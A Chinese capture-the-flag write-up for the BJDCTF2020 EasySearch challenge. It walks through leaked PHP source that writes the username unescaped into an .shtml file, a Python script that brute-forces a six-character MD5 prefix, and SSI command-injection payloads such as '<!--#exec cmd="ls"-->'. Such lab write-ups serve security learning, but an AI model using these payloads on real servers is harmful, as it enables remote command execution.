概述
打开环境,是个登录框:
随便输入后弹窗显示错误:
SQL注入也没有什么发现,那就用dirsearch扫描一下,发现了index.php.swp,访问得到源码:
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{//如果username存在且不为空
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {//如果¥admin等于password的md5的前6给字符就为真
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";调用get_hash()函数,并进行拼接
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
分析代码逻辑,先看一下定义的get_hash函数:
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
mt_rand() 函数是使用 Mersenne Twister 算法返回随机整数,两个参数。
此处的意思就是返回0到73之间的随机数,然后在ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-中随机选择5个字符拼接。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。此处就是生成此随机数的唯一id,最后返回它的哈希值。
然后看后面:
if(isset($_POST['username']) and $_POST['username'] != '' )
{//如果username存在且不为空
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {//如果$admin等于password的md5的前6给字符就为真
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";调用get_hash()函数,并进行拼接
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
username不能为空,password的md5的前6给字符要等于6d0bc1,满足这两个条件就弹窗:”Welcome to manage system“,并以刚刚get_hash函数返回的哈希值生成文件名和路径:”public/函数返回值.shtml“,然后以写的方式打开此文件或者输出”Unable to open file!“(无法打开)。其次将
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***
写入文件,然后关闭文件,最后输出 [!] Header error ...(输出头错误)。
我们用python脚本找出字符串MD5加密后前6位等于6d0bc1的,下面是大佬们的脚本:
import hashlib
for i in range(100000000):
a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
Python的hashlib主要提供了常见的摘要算法,python3.x版本里代替了md5模块和sha模块,如SHA1,SHA224,SHA256,SHA384,SHA512,MD5算法。摘要算法又称哈希算法、散列算法。
hashlib.md5().hexdigest()即生成16进制MD5。
得到:2020666,2305004,9162671等值,随便一个值都行。
输入后在响应头中发现:
文件路径:public/e65544c8a8d3cc8bdeac832d8e4068396b69c0ac.shtml
访问:
看见Client IP,以为需要我伪造IP地址,试了用xff才发现没用。这题思路是利用“Apache SSI远程命令执行漏洞”,这两篇博客详细介绍了ssi注入漏洞:SSI注入漏洞_Hydra的博客-CSDN博客_ssi注入 SSI 注入的介绍和代码防御_煜铭2011-CSDN博客
SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。
题目中username
被写入了shtml
文件,就可以将username改为<!--#exec cmd="ls"-->
显示:
成功执行,并发现当前目录没有flag,看看上级目录:<!--#exec cmd="ls ../"-->
成功执行:
查看文件flag_990c66bf85a09c664f0b6741840499b2得到答案:
最后
以上就是腼腆背包为你收集整理的[BJDCTF2020]EasySearch的全部内容,希望文章能够帮你解决[BJDCTF2020]EasySearch所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复